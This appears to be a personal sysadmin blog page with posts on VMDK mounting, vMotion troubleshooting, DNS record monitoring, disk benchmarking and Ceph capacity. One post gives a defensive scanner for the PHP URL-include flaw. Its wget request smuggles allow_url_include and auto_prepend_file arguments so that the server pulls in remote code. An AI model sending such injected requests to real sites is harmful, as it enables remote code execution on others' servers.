Mount VMDK containing GPT partition on Linux

Normally, to mount VMDK on Linux, you can follow these steps 

But what if the VMDK in question contains GPT with NTFS inside?  How do you find the offset and mount it?

#first losetup the raw disk
losetup /dev/loop0 ./file-flat.vmdk

#to find out offset do this
parted /dev/loop0
unit s
print
#find the start offset of the partition you're looking for and multiply by 512 (mine was 135266304 - yours will likely differ)

#use the offset to mount the actual partition
losetup -o 135266304 /dev/loop1 /dev/loop0

#now mount it
mount.ntfs-3g /dev/loop1 /mnt/vmdk

Greedy Search Engines – All the same

I fell in love with Google search back when people still used WebCrawler.  But that’s because back then Google was the underdog.   I still like using Google.   Google just works, but once in a while I check out what others are doing because I’m rooting for the next uderdog.  Now that Google is a giant behemoth, making their ads harder to spot, and ratcheting up their tracking, I figured it’s about time to switch.  But where to?

Supposedly Bing is the closest contender.   While I have no love for Microsoft, I was desperate.  So I tried it.   It wasn’t the first time.   I try this once a year or so just to see what’s out there.   Last time I tried Bing was kind of ok except for that giant background picture that slows everything to a crawl when I’m working over remote desktop.   This time I was horrified.  The first screen of results were pure ads.   There wasn’t a single real result until I scrolled down past the first screen.   The bottom of the screen wasn’t any better.  If this is the strategy Microsoft is using to catch up with Google Search then good luck to them – they are screwed.  Or are they?   After all I bet the sheeple who get Bing as default on their Windows 10 don’t notice the tiny little word “ad” beside each of those ads and are just fine whatever they were fed.   After all it was close enough…. and perhaps even helpful.  This is not for me …and that’s why Ad Block Plus exists.

Troubleshooting vMotion “failed to resume” [Solved]

I got the following error when trying to vMotion a VM from one SAN to another.

The VM failed to resume on the destination during early power on.

First I tried looking at ESXi host /var/log/vmkernel.log but in there all I got was

 Migration considered a failure by the VMX.  It is most likely a timeout, but check the VMX log for the true error.

Because this failure happened so late in the process (around 72%)  I realized that it’s probably failing during resume.  It turns out that during storage migration the machine gets suspended for a very short period of time and has to start back up (with the new disk attached underneath).  Well this made me look at the VM’s own vmware.log … sure enough I found the smoking gun there

[msg.loader.biosfd] Could not open bios.440.rom (No such file or directory).

That’s when I realized that when I set this up long ago, I was forced to use a workaround of including this special bios.440.rom file along with the VM to make it compatible with the OS.  Sure enough, so many months later I forgot about it.  After I copied the file across to the destination manually, the migration succeeded without a problem.

Introducing FreeMyBits.com

FreeMyBits helps you get your data back under your control.

There are many ways your organization can lose control of its precious data. You may have been locked-in by vendor or service provider, you may have outgrown a system or you need to downsize a legacy behemoth, you may have lost a key employee, you may have been hacked or your perhaps obsolescence simply caught up with you.

Whatever the reason is, FreeMyBits helps small and medium business like yours to get control back. Their team consists of specialists with proven enterprise expertise.  FreeMyBits can handle both mainstream systems and obscure legacy contraptions. They succeed where others struggle.

FreeMyBits also provides planning and consulting services to minimize the risk of lock-in.

Script for Verifying Authoritative Name Servers

As organizations tighten their web server security, attackers are looking for new weak links.  One of these weak links are DNS hosting companies and domain registrars.   Even though your own security may be top notch, are you sure that your domain registrar is equally bullet proof?   If the hacker can convince your registrar to change name servers to those under the hacker’s control, the hacker can start doing all kinds of nasty stuff.

Other than shopping around for DNS hosting companies and registrars that have strong security practices including (but not limited to) two-factor authentication, what else can be done?

Monitoring; If you can quickly detect that someone has made an unauthorized change to your name servers or other DNS records, you can minimize the damage by acting quickly and taking control back away from them.

Below is a script that will check your DNS records against a while list of allowed entries:

<?php

//Change this:
//Domain you wish to verify
$domain = "www.somedomain.com";
//Valid DNS hosts for your domain (detect change at registrar)
$authWhitelist= array("ns1.somednshost.com","ns2.somednshost.com");
//Valid A records (detect change at DNS host)
$aRecordWhitelist= array("11.22.33.44","55.66.77.88");

require_once 'Net/DNS2.php';

function lookupAuthorities($domain,$server)
{
 $serverIP = gethostbyname($server);

 $resolver = new Net_DNS2_Resolver( array('nameservers' => array($serverIP)) );

 $resp = $resolver->query($domain, 'A');
 //print_r($resp);

 $servers= array();

 foreach($resp->authority as &$record)
 {
 //keep for later
 $name = $record->name;

 array_push($servers,$record->nsdname);
 }

 $result = (object) [
 'name' => $name,
 'servers' => $servers,
 ];

 return $result;
}

function lookupAuthoritativeNameservers($domain)
{
 $authorities =lookupAuthorities($domain,"a.root-servers.net");

 if($authorities->name != $domain)
 {
 $authorities = lookupAuthorities($domain,$authorities->servers[0]);
 }
 return $authorities->servers;

}

function lookupARecords($domain,$authNameserver)
{
 $serverIP = gethostbyname($authNameserver);

 $resolver = new Net_DNS2_Resolver( array('nameservers' => array($serverIP)) );

 $resp = $resolver->query($domain, 'A');
 //print_r($resp);

 $servers= array();


 foreach($resp->answer as &$record)
 {


 array_push($servers,$record->address);
 }


 return $servers;

}



$authServers = lookupAuthoritativeNameservers($domain);

$authDiff=array_diff($authServers,$authWhitelist);

$aRecords = lookupARecords($domain,$authServers[0]);

$aRecordDiff = array_diff($aRecords,$aRecordWhitelist);


if(count($authDiff)>0 || count($aRecordDiff)>0)
{
 echo ($domain . " Fail (See offending entries below)\n");
 if(count($authDiff)>0) print_r($authDiff);
 if(count($aRecordDiff)>0) print_r($aRecords);

}
else
{
 echo($domain . " Pass\n");
}


?>

Script will return “Pass” if everything is ok.  If any of the results is not specified on the white list script will show “Fail” including a list of all offending entries.

You can either run this as a cron job and include an email notification by tweaking this script, or you can check it periodically by a tool such as PRTG.

fio: Linux hard drive benchmark

I’m always on a lookout for good hard drive benchmark tools. fio is pretty good, especially because it’s easy to setup and execution is pretty self-explanatory:

fio --randrepeat=1 --ioengine=libaio --direct=1 --gtod_reduce=1 --name=test --filename=test --bs=4k --iodepth=64 --size=1G --readwrite=randrw --rwmixread=0

The only parameter that does need bit of explanation is –rwmixread parameter:

  • 0 means 0 read, 100 write.
  • 100 means 100 read, 0 write.
  • 50 is half and half

PHP URL include vulnerability detection and workaround

Some exploits never get old.  One such example is an exploit that takes advantage of PHP URL include vulnerability.   It’s particularly nasty because it lets the attackers execute arbitrary PHP code without leaving any trace on the server it self.  The whole exploit executes in memory and vanishes once the attacker got what they were after.    With no back doors left behind, there are only two ways to find out.  You can either spot the suspicious entry in your log files, or you can run a script that checks whether your server is vulnerable to the attack in the first place.

#!/bin/bash

if [ -z "$1" ]; then

        echo "Error, must specify domain name"

        exit 0

fi

#do not change example.org this is one of the rare cases, when it serves an actual function.

wget -q -O test http://$1/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://example.org

grep "This domain is established to be used for illustrative examples" test > /dev/null

if [ $? -eq 0 ]; then

        echo

        echo "$1 is VULNERABLE add the following to .htaccess file and retry"

        echo

        echo "RewriteEngine on"

        echo "RewriteCond %{QUERY_STRING} ^[^=]*$"

        echo "RewriteCond %{QUERY_STRING} %2d|- [NC]"

        echo "RewriteRule .? – [F,L]"

        echo

else

        echo

        echo "$1 is OK"

fi

When you run this tool, you will see this if the web site you are scanning is vulnerable:

# ./test-url-include.sh vulnerablesite.com

vulnerablesite.com is VULNERABLE add the following to .htaccess file and retry

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|- [NC]
RewriteRule .? – [F,L]

I should add that the proper way is to patch PHP to a version that doesn’t have the vulnerability. The .htaccess fix works, but as you can imagine, it’s a bandaid solution. If you have this vulnerability, chances are you also have many more like it.

Safe Ceph Utilization Calculator

The only way I’ve managed to ever break Ceph is by not giving it enough raw storage to work with. You can abuse ceph in all kinds of ways and it will recover, but when it runs out of storage really bad things happen. It’s surprisingly easy to get into trouble. Mainly because the default safety mechanisms (nearfull and full ratios) assume that you are running a cluster with at least 7 nodes. For smaller clusters the defaults are too risky. For that reason I created this calculator. It calculates how much storage you can safely consume.